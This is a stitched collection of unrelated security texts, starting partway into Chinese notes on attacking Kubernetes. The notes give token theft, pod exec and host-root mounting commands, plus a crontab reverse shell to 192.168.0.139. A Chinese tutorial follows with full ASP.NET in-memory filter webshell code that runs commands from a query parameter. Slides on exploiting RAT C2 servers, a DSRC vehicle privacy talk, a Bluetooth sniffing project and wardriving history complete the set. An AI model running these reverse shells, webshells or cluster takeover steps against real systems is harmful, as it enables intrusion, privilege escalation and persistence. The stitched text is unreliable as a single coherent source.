1 11 访问http://ip:8080/api/v1/namespaces/kube-system/secrets/ 12 创建kubectl配置⽂件,指定⽬标地址和步骤2中拿到的token等 13 成功通过kubectl使⽤kube-system的token获取pod列表。之后可进⼀步创建pod或控制已有pod进⾏命 令执⾏等操作 通过kubectl -s命令 获取Pods 执⾏命令 Bash 复制代码 kubectl--kubeconfig=./test_config get pod -n kube-system -o wide 1 Bash 复制代码 curl –insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://IP:10250/exec/namespace/podID/containername? command=touch&command=/tmp/test&input=1&output=1&tty=1" 1 Bash 复制代码 kubectl -s ip:8080 get node 1 Bash 复制代码 kubectl -s 127.0.0.1:8080 get pods 1 14 Tips: 在⾼版本的k8s中,这种⽅法是不⾏的,连不上去 获取service-account-token 可以通过访问api来获取token Bash 复制代码 kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju- 59595f6ffc-p8xvk bash 1 Bash 复制代码 /api/v1/namespaces/kube-system/secrets/ 1 15 获取宿主机权限-通过k8s dashboard,创建特权Pods 通过创建dashboard创建pod并挂在宿主机的根⽬录 这⾥将宿主机的⽬录挂在到了/mnt⽬录下 可以通过写crontab获取shell Bash 复制代码 apiVersion: v1 kind: Pod metadata: name: myapp spec: containers:  - image: nginx   name: container   volumeMounts:    - mountPath: /mnt     name: test-volume volumes:  - name: test-volume   hostPath:     path: / 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 或者通过chroot来获取终端 k8s node对外开启10250(kubelet API)和10255端⼝(readonly API),攻击者可创建恶意pod或控制已有 pod,后续可尝试逃逸⾄宿主机 修复建议: (1)readOnlyPort=0:关闭只读端⼝(默认 10255); (2)authentication.anonymous.enabled:设置为 false,不允许匿名访问 10250 端⼝; (3)authentication.x509.clientCAFile:指定签名客户端证书的 CA 证书,开启 HTTP 证书认证; authentication.webhook.enabled=true:开启 HTTPs bearer token 认证 访问https://x.x.x.x:10250/pods,有如下回显则漏洞存在 kubelet未授权访问 Bash 复制代码 echo -e "* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1" >> /mnt/etc/crontab 1 17 使⽤kubeletctl批量获取pod等信息: Bash 复制代码 ./kubeletctl pods -s x.x.x.x 1 18 可使⽤kubeletctl在特权pod内执⾏命令,挂载宿主机根⽬录,通过向宿主机批量写⼊ssh公钥逃逸到宿主 机 19 攻击者可跳过登录,直接进⼊dashboard web⻚获取pod和job等状态,并可创建恶意pod,尝试逃逸⾄ 宿主机 修复建议:关闭dashboard的--enable-skip-login 登录⻚⾯选择跳过登录 可通过dashboard获取pod、node和job等状态 k8s dashboard认证绕过(CVE-2018-18264) 20 若业务配置错误或为了⽅便给 Kubernetes dashboard 绑定 cluster-admin等⻆⾊,攻击者可直接在界⾯ 上创建特权 pod 进⾏容器逃逸 21 攻击者可利⽤对外暴露的docker remote api,执⾏docker命令 修复建议:⽣成证书进⾏api校验:docker -d --tlsverify --tlscacert=ca.pem--tlscert=server- cert.pem--tlskey=server-key.pem-H=tcp://x.x.x.x:2375-H unix:///var/run/dock 访问http://x.x.x.x:2376/version可获取docker版本等信息,证明存在漏洞 通过调⽤docker未授权接⼝,创建特权容器,挂载宿主机根⽬录 docker未授权访问 22 后续可通过写⼊ssh公钥和crontab等,完成逃逸和持久化 攻击者可通过kube-proxy代理来未授权访问本地kube-apiserver组件,创建恶意pod或控制已有pod, 后续可尝试逃逸⾄宿主机 修复建议:kube-proxy禁⽌对外直接使⽤--address=0.0.0.0参数 该漏洞⼀般为业务或开发为了⽅便,通过kubectl proxy --address=0.0.0.0命令,将kube-apiserver暴 露到0.0.0.0,且默认未授权 之后请求8001端⼝即可未授权访问kube-apiserver 后续可按照kube-apiserver处理。 kube-proxy配置错误 23 https://zhuanlan.zhihu.com/p/409971135 https://baijiahao.baidu.com/s?id=1730956371994388279&wfr=spider&for=pc https://copyfuture.com/blogs-details/20210616193408465N https://www.bilibili.com/read/cv14417297/ https://zhuanlan.zhihu.com/p/103124918 感谢前⼈栽树,让后⼈可以学习乘凉,⽂章中⼤量前⼈思想。如有冒犯敬请谅解 参考⽂章 致谢
pdf
Digital Vengeance Exploiting the Most Notorious C&C Toolkits @professor__plum Disclaimer The views expressed herein do not necessarily state or reflect the views of my current or former employers. I am not responsible for any use or misuse of the information provided. Implementation of the information given is at your own risk. Backstory “The malware that was used would have slipped or probably got past 90% of internet defenses that are out there today in private industry” Joseph Demarest, assistant director of the FBI’s cyber division The sophisticated attack “hackers obtained data on tens of millions of current and former customers and employees in a sophisticated attack“ Anthem “… identified an extremely sophisticated cyber attack” RSA "It is simply not possible to beat these hackers” James A. Lewis Cybersecurity Expert at Center for Strategic and International Studies (CSIS) “Government and non-government entities are under constant attack by evolving and advanced persistent threats and criminal actors. These adversaries are sophisticated, well-funded, and focused.” Office of Personnel Management "The threat is very persistent, adaptive and sophisticated – and it is here to stay,” SWIFT RAT terminology • Client • Victim • Target • C2 Server • Attacker • Victim • Adversary • Retaliator - one who returns assault in kind *icons credit Open Security Architecture Sophisticated attack hit list Prior Art • Buffer overflow exploit by Andrzej Dereszowski • Follow on work by Jos Wetzels APT1 & Poison Ivy Remote file download exploit by Shawn Denbow and Jesse Hertz Follow on work by Jos Wetzels New work Gh0st RAT Gh0st RAT Most notably identified by C2 traffic which start with the 5 byte marker “Gh0st”
 (or other 5 byte marker) 00000, 7hero, ABCDE, Adobe, ag0ft, apach, Assas, attac, B1X6Z, BEiLa, BeiJi, Blues, ByShe, cb1st, chevr, CHINA, cyl22, DrAgOn, EXXMM, Eyes1, FKJP3, FLYNN, FWAPR, FWKJG, GWRAT, Gh0st, Gi0st, GM110, GOLDt, HEART, Hello, https, HTTPS, HXWAN, Heart, httpx, IM007, ITore, kaGni, KOBBX, KrisR, light, LkxCq, LUCKK, LURK0, lvxYT, LYRAT, Level, Lover, Lyyyy, MOUSE, MYFYB, MoZhe, MyRat, Naver, NIGHT, NoNul, Origi, OXXMM, PCRat, QQ_124971919, QWPOT, Snown, SocKt, Spidern, Super, Sw@rd, Tyjhu, URATU, v2010, VGTLS, W0LFKO, Wangz, wcker, Wh0vt, whmhl, Winds, wings, World, X6M9K, X6RAT, XDAPR, xhjyk, Xjjhj, xqwf7, YANGZ “The many faces of Gh0st Rat” — Snorre Fagerland Remote file upload Give me C:\Documents\user\file.doc so I can save it to targetX\file.doc Here is the [data] so you can save it to targetX\file.doc Remote file upload Here is the [data] so you can save it to C:\…\startup\backdoor.exe DLL side load vulnerability Gh0st Server has a dependency on oledlg.dll Only imports one function #8 OleUIBusyA(int) Return 1 and all is good Exploitation Control pointer to pointer Could use a information disclose vuln (if I had one) Thus, take the lazy man’s approach and heap spray DEP would break this but it also seems to break the EXE Decode implant configs https://github.com/kevthehermit/RATDecoders Gh0st Xtreme Rat Poision Ivy DarkComet Many others Showdan Demo Post exploitation Netstat IP address of other victims May show RDP connections in (or out) Walk FS looking for other hacking tools Install persistance Install keylogger Steal credentials PlugX / Korplug / Destory Demo Xtreme RAT Xtreme Rat TCP connection starts with the string “myversion|3.x\r\n” C2 responds with “X\r\n” Alternatively Xtreme rat can use a fake HTTP request of the form GET /[0-9]{1,10}.functions Remote file upload Get ready to receive tool\bad.exe and save it to C:\temp\calc.exe I’m ready to receive tool\bad.exe Here is the [data] Remote file download Win.ini (Sanity check) Event logs desktop.ini %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\repair\system https://attackerkb.com/Windows/blind_files Summary Remote file upload in Gh0St RAT C&C Affected version 3.6 A carefully crafted packet could allow a remote attacker to upload remote files to the system. The attacker can also control the file name and location of where the remote file will be stored on the remote system, with which it may be possible to gain access to the system Authentication is not required to exploit the vulnerability Remote code execution in Gh0St RAT C&C Affected version 3.6 A carefully crafted packet could allow a remote attacker to gain code execution thereby gaining access to the system Authentication is not required to exploit the vulnerability Remote code execution in PlugX Affected versions 6.x - 7.x A carefully crafted packet could allow a remote attacker to gain code execution thereby gaining access to the system Authentication is not required to exploit the vulnerability Remote file download in XtremeRAT Affected versions 3.6 - 3.7 A carefully craft packet could allow a remote attacker to retrieve any file from the remote system Authentication is not required to exploit the vulnerability Thank you @professor__plum
pdf
1 ASP.NET下的内存⻢(⼀):filter内存⻢ 前⾔ 过程 总结 @yzddmr6 asp.net下的内存⻢研究⽂章⽐较少,⽬前提到过的包括虚拟路径内存⻢以及HttpListener内存⻢。周末 研究了⼀下其他类型的内存⻢,发现.net可以利⽤的地⽅要多得多。所以准备写个系列⽂章,讲⼀讲 asp.net下的内存⻢。 ⽂章仅作研究性质,不保证任何实战效果,请勿⽤于⾮法⽤途。 java下有filter,servlet等拦截器,asp.net mvc也有同样类似的机制。 在rider中新建⼀个asp.net web项⽬,默认就会起⼀个asp.net mvc的项⽬。 前⾔ 过程 2 根⽬录下有个 Global.asax⽂件,这个⽂件会在web应⽤启动后⾸先执⾏。其中Codebehind指向了 Global.asax.cs,在Global.asax.cs中可以看到,在asp.net mvc启动的时候,会默认去注册三个组件。 3 看下FilterConfig.RegisterGlobalFilters这个⽅法的作⽤,就是给全局GlobalFilterCollection⾥⾯加⼊ 我们⾃定义的filter逻辑。⾄于为什么不去看route,因为filter的优先级在route之前,当然是我们的第⼀ 选择。 内存⻢的本质是在容器中注⼊⼀段恶意代码,并且由于容器的特性,如filter,servlet等机制,使得每次 收到web请求我们的恶意代码都会被执⾏。 在java中添加filter内存⻢较为麻烦,需要⽤反射从上下⽂中获取到filterMap等信息,然后向⾥⾯注⼊我 们⾃定义的filter。但是在asp.net中,则直接将这个接⼝给⽤户暴露了出来。这就极⼤⽅便了我们注⼊ 内存⻢的操作。 看了下System.Web.Mvc.GlobalFilterCollection,从注释就可以看出来,这⾥存放了全局的filter。 C++ 复制代码 namespace WebApplication2 {    public class MvcApplication : System.Web.HttpApplication   {        protected void Application_Start()       {            AreaRegistration.RegisterAllAreas();//注册 MVC 应⽤程序中的所有区域            FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);//注 册filter            RouteConfig.RegisterRoutes(RouteTable.Routes);//注册路由            BundleConfig.RegisterBundles(BundleTable.Bundles);//打包捆绑资 源,对css以及js进⾏压缩       }   } } 1 2 3 4 5 6 7 8 9 10 11 12 13 C++ 复制代码 namespace WebApplication2 {    public class FilterConfig   {        public static void RegisterGlobalFilters(GlobalFilterCollection filters)       {            filters.Add(new HandleErrorAttribute());       }   } } 1 2 3 4 5 6 7 8 9 10 4 那么应该打⼊什么类型的filter呢?翻了下⽂档,ASP.NET MVC 框架⽀持四种不同类型的筛选器: 1. 授权筛选器 = 实现IAuthorizationFilter属性。 2. 操作筛选器 = 实现IActionFilter属性。 3. 结果筛选器 = 实现IResultFilter属性。 4. 异常筛选器 = 实现IExceptionFilter属性。 筛选器按上⾯列出的顺序执⾏。 例如,授权筛选器始终在操作筛选器和异常筛选器始终在每⼀种其他类 型的筛选器之后执⾏。 授权筛选器⽤于实现控制器操作的身份验证和授权。 例如,"授权"筛选器是授权筛选器的示例。 操作筛选器包含在控制器操作执⾏之前和之后执⾏的逻辑。 例如,可以使⽤操作筛选器修改控制器操作 返回的视图数据。 结果筛选器包含在执⾏视图结果之前和之后执⾏的逻辑。 例如,您可能希望在视图呈现给浏览器之前修 改视图结果。 异常筛选器是要运⾏的最后⼀种筛选器类型。 可以使⽤异常筛选器来处理控制器操作或控制器操作结果 引发的错误。 您还可以使⽤异常筛选器来记录错误。 每种不同类型的筛选器都按特定顺序执⾏。 如果要控制执⾏相同类型的筛选器的顺序,则可以设置筛选 器的 Order 属性。 所有操作筛选器的基类是类System.Web.Mvc.FilterAttribute。 如果要实现特定类型的筛选器,则需要 创建从基本筛选器类继承的类,并实现⼀个或多个IAuthorizationFilter、 IActionFilter、或 IResultFilter``IExceptionFilter接⼝。 5 以上来⾃微软⽂档:https://docs.microsoft.com/zh-cn/aspnet/mvc/overview/older-versions- 1/controllers-and-routing/understanding-action-filters-cs 作为攻击者来说,我们当然希望我们的内存⻢处于最⾼优先级的位置。所以就选择继承 IAuthorizationFilter接⼝。 除此以外,类⽐java内存⻢,还要把我们的filter放到第⼀位的位置。 在默认的System.Web.Mvc.GlobalFilterCollection.Add⽅法中可以看到,Add有两个重载⽅法,⼀个带 order参数⼀个不带。最后调⽤AddInternal⽅法把我们的filter添加到类成员中。 查看System.Web.Mvc.Filter,发现默认的filter order是-1。那么为了提⾼我们的优先级,我们只需要 把order设为⼀个⼩于-1的值即可。 6 访问filter.aspx 注⼊内存⻢。⼀⽚空⽩表示注⼊成功 C++ 复制代码 <%@ Page Language="c#"%> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.Reflection" %> <%@ Import Namespace="System.Web.Mvc" %> <script runat="server">    public class MyAuthFilter : IAuthorizationFilter   {        public void OnAuthorization(AuthorizationContext filterContext)       {            String cmd = filterContext.HttpContext.Request.QueryString["cmd"];            if (cmd != null)           {                HttpResponseBase response = filterContext.HttpContext.Response;                Process p = new Process();                p.StartInfo.FileName = cmd;                p.StartInfo.UseShellExecute = false;                p.StartInfo.RedirectStandardOutput = true;                p.StartInfo.RedirectStandardError = true;                p.Start();                byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());  response.Write(System.Text.Encoding.Default.GetString(data));           }            Console.WriteLine("auth filter inject");       }   } </script> <%    GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;    globalFilterCollection.Add(new MyAuthFilter(), -2); %> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 7 访问?cmd=calc弹出计算器 跟java不同的是,aspx必须访问⼀个真实存在的url时才会触发filter,⽽⾮像java⼀样filter可以⽤/*直接 匹配任意路径。 除此之外,java的filter是责任链模式,必须要显式声明chain.doFilter才会⾛到下⼀个filter。如果jb⼩⼦ ⼀时⼿抖忘了写这句代码,打进内存⻢后就会造成⽹站的正常业务⽆法访问。但是.net没有这种机制。 不需要做额外声明即可按顺序调⽤各个filter。 总结 8 本⽂提到的filter内存⻢必须依赖于system.web.mvc.dll这个东⻄,也就是只能在.net mvc下使⽤。那么 有没有其他的内存⻢,可以仅依靠.net framework就可以执⾏呢?等我下篇⽂章讲⼀讲。
pdf
Privacy in DSRC connected vehicles Defcon 21 – August 3, 2013 whoami • BSEE, digital communications • Many years as a network engineer • Santa Clara University Law student • Research assistant providing technical expertise on privacy audits and reviews • Contracted by auto consortium to review privacy of proposed vehicle to vehicle safety network Standard Disclaimer IANAL (Yet) But if you know anyone looking for summer interns.... Non-Standard Disclaimer A current NDA covers some of my work here (but not very much) The focus will be on published information and standards. What is This Project? • DSRC: Dedicated Short Range Communications • (Where “short” == 380m) • Vehicle to Vehicle • Vehicle to infrastructure - Not having to wait for a light on an empty street again. - Better traffic planning for better cities and roadways. Why is It being Developed? Safety Photo Credit: Jason Edward Scott Bain How the safety features work Non-trivial Impact on Auto Deaths • World Health Organization estimates 25% of vehicle deaths each year can be prevented. • Fatigue and distracted driving accidents reduced. • Blind Corners, fog and limited visibility accidents reduced. Photo: Public Domain Will This really Happen? IT ALREADY IS How Soon? • Hardware is already being shipped. • Software issues still entirely in the air • More is being done in software these days. • The US Dept. of Transportation is considering mandating this for all new cars. (Decision to come later this year.) • Has already deployed in trucks in Europe What is DSRC • Basic safety messages sent out every 1/10 seconds. • All message carry a standard glob: values for pre-defined vehicle trajectory and operational data. • Cars process data and warn driver. • Equipment integrated into vehicle Photo Credit: US Dept. of Transportation AfterMarket Installation A little cumbersome Photo Credit: NIST What DSRC is not • CANbus • OnStar (or any other remote service) • (Direct) support for autonomous driving mechanisms. Photo Credit: US Dept. of Transportation Technical details Radio protocol • 5.9GHz reserved in US and Europe • Signaling standard: IEEE 802.11p / 1609.4 / 1609.3 • Channels reserved for specific functions • Protocol does not require source address for vehicles • Recommendations include using certificates • Privacy challenges at each layer Photo Credit: NASA Basic Safety Message • Standard: SAE J2735 • ~50 fixed data elements • “only” interface to radio (on this channel/band) Parameters for effectiveness • Density • Benefit derived from other vehicles’ use • Greater usage means greater effectiveness • Confidence • Most messages must be trustworthy Validity? • All messages are cryptographically signed • Signing certificates issued by central authority • Issued based on system fingerprint • Revocation for “malfunctioning” equipment • System should invalidate itself if internal checks fail 0.(#-?".<+)"+0&)+%"%@*(0-)/+(448&'()&"%*+?&88+.-A$&.-+0$.)>-.+)-'>%&'(8B+4"8&'/B+(%2+&%*)&)$)&"%(8+.-*- + C&;$.-+D+&88$*).()-*+)>-+(44."('>+$*&%;+7(*&'+EFG+4.&%'&48-*:+G)+2&*48(/*+$*-+"0+(+'-.)&0&'()-+($)>".&)/+ '-.)&0&'()-+2&*).&7$)&"%+(%2+#(%(;-#-%)+*/*)-#+0".+'.-()&%;+).$*)-2+#-**(;-*+7-)?--%+6->&'8-*:+ 2&00-.-%)+EFG+'"#4"%-%)*+(%2+)>-&.+(448&'()&"%+&%+)>-+(44."('>+?&88+7-+2&*'$**-2+&%+,-')&"%+GGG:++ Figure 2: Proposed PKI Approach to Communications Security + 1+"%-@?(/+!"#$!%&+'"##$%&'()&"%*+7-)?--%+6->&'8-*+9IDI=+*$44".)*+)>-+7."(2'(*)+" ,(0-)/+K-**(;-+9J,K=+"%'-+-6-./+)-%)>+"0+(+*-'"%2B+?>&'>+?&88+7-+.-'-&6-2+7/+(%/+%- 6->&'8-*+?&)>&%+.(%;-LD:++3>-+J,K+&*+$*-2+)"+-M'>(%;-+N6->&'8-+*)()-O+2()(LP+0".+$*-+&% (448&'()&"%*Q+)>$*B+)-'>%&'(8+.-A$&.-#-%)*+&%'8$2-+>&;>+8()-%'/B+(''$.('/B+.-8&(7&8&)/B+( %-'-**(./+0".+'.(*>@(6"&2(%'-+*(0-)/+(448&'()&"%*+)"+-*)(78&*>+%-(.8/+&##-2&()-+'"# ?&)>+")>-.+6->&'8-*:++3>-+#-**(;-*+7."(2'(*)+7/+6->&'8-*+(.-+).$*)-2B+7$)+%")+-%'./4) )>-+)&#-+&)+?"$82+)(<-+)"+-%'./4)+(%2+$%-%'./4)+-('>+#-**(;-+7-)?--%+6->&'8-*B+4") >&%2-.&%;+)>-+&##-2&()-+.-*4"%*-+)&#-*+.-A$&.-2+0".+*(0-)/+(448&'()&"%*:+++3>&*+(44." Image source: US Dept. of Transportation Certificates • Limited time use to prevent tracking • Reused? • Periodically refreshed (and malefactors reported) • How often? Privacy? MAC Layer • Changeable source (for vehicles) / no destination • Unrouteable! (mostly) • No significant privacy concern as is. • Any algorithm to make network routeable will make vehicles trackable. BSM • “Temporary” ID could become persistent with bad app • Open source apps suggested for processing and acting on message data Certificates • Identity/Validity conflict • Solution: constantly changing certificates • Revocation by fingerprint • Issuing authority? Fingerprints • “No” correspondence between fingerprint and car • “hard coded” into device • If revoked, entire unit must be replaced to function Photo Credit: NIST Certificate Delivery • Haven’t figured out how certificates are delivered to vehicle • Proposals include cellular, wifi, infrastructure links • So many opportunities for failure Worrisome Noise • Manufacturers want to use this system for commercial apps • Advertising and other “funding” schemes to pay for CA • Fixed infrastructure potentially operated by data brokers Problem: Law Enforcement • What can they do with this? • Correlate location, speed to independent identification? (cameras?) Photo Credit: Alex E. Proimos What you Can Do • Hack the radios • Commercially available now • Hack the protocols • Become politically engaged • Most decisions are not being made by elected officials • Help find a way to fund the infrastructure without selling out! Thank you Acknowledgements • Professor Dorothy Glancy, who requested my help on this project • DC 650 (especially Charles Blas) who gave me a reality check with current security and privacy capabilities Contact • Christie Dudley • @longobord • cdudley@scu.edu
pdf
PASSIVE BLUETOOH MONITORING IN SCAPY Ryan Holeman AGENDA • bluetooth essentials • fundamental projects • scapy-btbb project overview • demo ESSENTIAL BLUETOOTH • bluetooth is a frequency hopping protocol ESSENTIAL BLUETOOTH • BTBB - bluetooth baseband • air traffic between master and slave bluetooth devices ESSENTIAL BLUETOOTH • nap • non-significant for communication • vendor association • uap • upper address part • vendor association • calculated from btbb packets • lap • lower address part • easily obtained in btbb packet FUNDAMENTAL PROJECTS SCAPY • Philippe Biondi • python network analysis and manipulation tool • supports many protocols and layers • Ethernet, Tcp/Ip, 802.11, 802.15.5, etc FUNDAMENTAL PROJECTS LIBBTBB • Dominic Spill and Mike Ossmann • provides methods for: • uap discovery, clock discovery, etc • wireshark plugin • wireshark btbb support FUNDAMENTAL PROJECTS UBERTOOTH • bluetooth baseband sniffer • Mike Ossmann • kismet plugin SCAPY-BTBB GOALS • bluetooth baseband traffic in python SCAPY-BTBB CONTRIBUTIONS • btbb layer in scapy • a stream utility for pcap files in scapy • btbb helper methods • vendor from nap/uap • distinct address lists from btbb traffic • extensive documentation of related projects SCAPY-BTBB RELEVANCE • real time and postmortem data analysis for btbb traffic • compatibility across hardware • though pcap files • easily incorporated into: • developer debugging tools • auditing tools • exploitation tools DEMO REFERENCES • scapy • Phillippe Biondi • secdev.org/projects/scapy • libbtbb • Dominic Spill & Mike Ossmann • sourceforge.net/projects/libbtbb • ubertooth • Mike Ossmann • ubertooth.sourceforge.net • kismet • Mike Kershaw • kismetwireless.net • bluez • bluez.org • pybluez • pybluez.googlecode.com • wireshark • wireshark.org • ipython • ipython.org • pandas • pandas.pydata.org PROJECT HOME AND CONTACT INFO • project home • hackgnar.com/projects/btbb • contact • email: ripper@hackgnar.com • twitter: @hackgnar
pdf
The WorldWide WarDrive: The Myths, The Misconceptions, The Truth, The Future Chris Hurley aka Roamer History •I was talking with The Watcher on the Netstumbler Forums and found out we live relatively close to each other. •We thought it would be fun to try to coordinate a WarDrive to cover the entire city of Baltimore and started a thread on the Netstumbler Forums to see if there was any interest. •Renderman decided to do a coordinated drive in his area. •Blackwave and Mentat had discussed a similar idea in the past. History •I posted the idea on the DefCon Forums to see if there was any more interest. There was. •That coordinated drive of Baltimore quickly evolved into the WorldWide WarDrive. History Continued The Myths Myths are the false impressions about the WorldWide WarDrive and WarDriving in general that have been thrust upon the general public by the media and the uninformed (not mutually exclusive). The myth that the WorldWide WarDrive is a covert organization run by shady individuals out to provide terrorists with information has been propagated by several different media organizations. Myth 1 “The group that runs the www.worldwidewardrive.org Web site leaves its own identity secret but does offer numerous links to other like-minded organizations as well as giving a somewhat cryptic e-mail address, roamer@worldwidewardrive.org, for those interested in organizing their own local efforts. Wardrive appears to be an offshoot of warchalking, another tactic intended to disclose unsecured wireless networks.” Source: Wardrive attempts to find unsecured wireless networks by Ephraim Schwartz http://www.infoworld.com/article/02/10/24/021024hnwardrive8_1.html Evidence of Myth 1 Myth 1 exposed Using a handle or online identity is “an act of hiding your identity” This is just not true. The for profit issue is even addressed in the WWWD FAQ: "Can I hire you to secure my access point for me? No" There appears to be no description of the WWWD members A link from a for profit security company is on the WWWD site. Many individuals use an online name or handle. My real name is all over the WWWD site. There are no “members” of the WWWD. The individual organizers’ sites often have information about themselves. The WWWD FAQ also specifically addresses warchalking: "Do you "WarChalk" the APs you find? No. I think WarChalking is stupid." WarDriving is an “offshoot” of warchalking. WWWD participants “warchalk” the access points discovered during the worldwide wardrive Neither I nor anyone I know has actually SEEN a chalked AP. Certainly one was "derived" from the other. He just had it backwards. Myth 1 exposed concluded There is a prevalent myth that the Information Security Industry has a hard time locking down access points and securing wireless networks Myth 2 War driving bedevils security types partly because it is so cheap and easy to do. Drivers amble around with a directional antenna sometimes fashioned from a coffee or potato-chip can. Their software of choice, called NetStumbler, comes free on the Web and detects the low-level radio waves coming out of wireless-network access points. Source: Hackers target wireless networks Worldwide 'war drive' set for Saturday by William M. Bulkeley http://www.msnbc.com/news/824622.asp?cp1=1 Evidence of Myth 2 and Myth 2 exposed The media has also pushed the myth that the WWWD is an attempt to provide people with information on how to get free internet access. Myth 3 People with knowledge of the location of an unprotected wireless network can also use it for free Web surfing, to send out e-mail messages or spam anonymously. Evidence of Myth 3 and Myth 3 exposed Participants make chalk marks on sidewalks or building fronts to signal the availability of access points. Knowing such locations permits people with laptops to avoid paying for Internet access. Anyone who wants to access a network without authorization isn’t going to look to online sources to find access points. It would be faster to just find one outside. This has already been exposed as a myth. This just doesn’t happen WARCHALKING IS A MYTH!! The Biggest Myth of All The Misconceptions Misconceptions are the false impressions that those within the hacking community, the security industry, and some Law Enforcement Organizations have about the WorldWide WarDrive and WarDriving in general. A common misconception is that the WWWD is an attempt to propagate FUD and scare Security Professionals and Network Administrators Misconception 1 According to an article that ran at net-security.org IT managers should be wary of Aug 31st (Kickoff of first WWWD) IT managers have no reason to fear the WWWD. Our goals clearly state that we make no attempt to access ANY networks. “Hackers armed with laptops” are looking for unprotected networks We are making a statistical analysis of ALL access points, not just the “unprotected” networks Evidence of Misconception 1 and the record set straight Some within the hacking and wireless communities have the misconception that the WWWD is a marketing tool to sell products or services. Misconception 2 The WWWD data is being used to: 1) Contact people for the purpose of selling their services 2) Show to potential customers to point out how "insecure“ everyone is 3) The WWWD did not respond to these accusations when confronted with them. 1) We sell nothing. Period. We provide FREE information on the site on how to "secure" their APs. 2) See point 1. We have no customers nor do we have any potential customers. 3) I was given only 36 hours from the time these accusations were mailed to me until this email was sent to the kismet list. Evidence of Misconception 2 and the record set straight There is a misconception that during the WWWD wireless networks are more likely to be attacked/compromised. Misconception 3 This one was prevalent from the start of the first WWWD. SANS was probably my favorite offender here. From SANS NewsBites, 11 September 2002: --9 September 2002 Wardriving Reveals Lack of LAN Security A week-long worldwide wardrive revealed that many wireless LANs (local area networks) don't employ even basic security. A New Jersey-based company is selling complete wardriving kits. A consultant for the company observed that wardriving is legal and has legitimate uses. [Editor's Note (Murray): it is legal to look in your neighbor's open window but nice people do not do it. There is no more corrupting idea than the current one that that which is legal is, ipso facto, ethical.] Evidence of Misconception 3 and the record set straight The Canadian Security Intelligence Service was very concerned about the first WorldWide WarDrive. Misconception 4 ====================================== FOR IMMEDIATE RELEASE ====================================== Hackers and geeks worldwide will be inaugurating the first international wardriving day, Saturday August 31st, 2002. "Wardriving" is a cousin of "war dialing," a term popularized in the 1983 movie "War Games.". War dialing used software to dial many phone numbers automatically, looking for tones which indicated a modem. Wardriving, also known as "net stumbling," is a new variant, focused on discovering wireless computer networks. This is a "high-tech" hobby, where participants armed with laptops, wireless networking gear, global positioning units and vehicles compete to find as many "wireless" networks in their regions as possible. There are literally tens of thousands of wireless networks operating throughout the world. Hundreds have already been mapped in Calgary and Edmonton, let alone other communities throughout Alberta. While there are no prizes, no rules and definitely no glamour, this activity is constructive in that it raises awareness with regards to: privacy, security (or alternatively a complete lack of security), and the growing number of wireless networks sending information over, around and through an area. On Saturday, August 31st, participants will depart from Edmonton and Calgary converging on Red Deer, Alberta. At which point, we will plan a wardriving route, which we will then use to map Red Deer upon departure. Meeting time & location: 10 AM White Spot 6701 - 50th Avenue, Red Deer, AB We would be pleased to include media representatives for participation as passengers, or competitors. We can provide transportation or setup instructions as appropriate. Space is obviously limited, so contact us ASAP.Canadian Press Release “3. A computer enthusiast from Edmonton issues a press release on 21 August 2002, stating that he was arranging a war-driving exercise in Red Deer, Alberta, on 31 August 2003 as a component of the internationally scheduled event…” “4. Wireless technology makes it easier for“ attackers “to search for data and invade the privacy of networks users since computer networks have no physical boundaries.” Text from Canadian Security Intelligence Service report Luckily, the CSIS ended up educating themselves. It was quickly discovered that the WWWD had no untoward intentions The Truth The WorldWide WarDrive is an effort by security professionals and hobbyists to generate awareness of the need by individual users and companies to secure their access points. The goal of the WorldWide WarDrive (or WWWD) is to provide a statistical analysis of the many access points that are currently deployed. We feel that many end users are not aware that the factory or "default" settings on Access Points do not take any security measures into account. By providing these statistics we hope that end users will become aware of the need to take simple measures to secure their access points. The First WorldWide WarDrive The First WorldWide WarDrive took place between 31 August and 7 September 2002. Approximately 100 people participated in 22 areas. 6 Countries and 2 Continents were represented. The First WorldWide WarDrive CATEGORY TOTAL PERCENT TOTAL APs FOUND 9374 100 WEP Enabled 2825 30.13 No WEP Enabled 6549 69.86 Default SSID 2768 29.53 Default SSID and No WEP 2497 26.64 Unique SSIDs 3672 39.17 Most Common SSID 1778 18.97 Second Most Common SSID 623 6.65 The Second WorldWide WarDrive The Second WorldWide WarDrive took place between 26 October and 2 November 2002. Approximately 200 people participated in 32 areas. 7 Countries and 4 Continents were represented. The Second WorldWide WarDrive CATEGORY TOTAL PERCENT PERCENT CHANGE TOTAL APs FOUND 24958 100 +62.5 WEP Enabled 6970 27.92 -2.21 No WEP Enabled 17988 72.07 +2.21 Default SSID 8802 35.27 +5.74 Default SSID and No WEP 7847 31.44 +4.8 Most Common SSID 5310 21.28 +2.31 Second Most Common SSID 2048 8.21 +1.56 The Third WorldWide WarDrive The Third WorldWide Wardrive took place from June 28 – July 5 2003. Approximately 300 people in 52 areas participated. 11 countries and 4 continents were represented. The Third WorldWide WarDrive Results will be released at DefCon 11 CATEGORY TOTAL PERCENT PERCENT CHANGE TOTAL APs FOUND 88122 100 +71.68 WEP Enabled 28427 32.26 +4.34 No WEP Enabled 59695 67.74 -4.34 Default SSID 24525 27.83 -7.44 Default SSID and No WEP 21822 24.76 -6.68 The Combined Results from All Three WorldWide WarDrives will be released at DefCon 11 Combined Results of All WorldWide WarDrives CATEGORY TOTAL PERCENT TOTAL APs FOUND 113529 100 WEP Enabled 35654 31.41 No WEP Enabled 77875 68.59 Default SSID 32938 29.01 Default SSID and No WEP 29276 25.78 The WWWD Coin These 30 contributors are the inaugural class of WWWD coin recipients. Blackwave Maui Agent Green AirFoot Ffrf Renderman WiGLE DaClyde Mentat Deadtech Vtosearch Mother DT Dragorn Marius Korben BKS Converge Fred Borg Man Pete Shipley Medic Shmoo Novillo Thorn Mr. White JimmyPopAli Rambopfc C-mag Sparafina Conclusion..aka The Future WWWD Stat generator will be released by the Church of WiFi. WWWD will be an annual 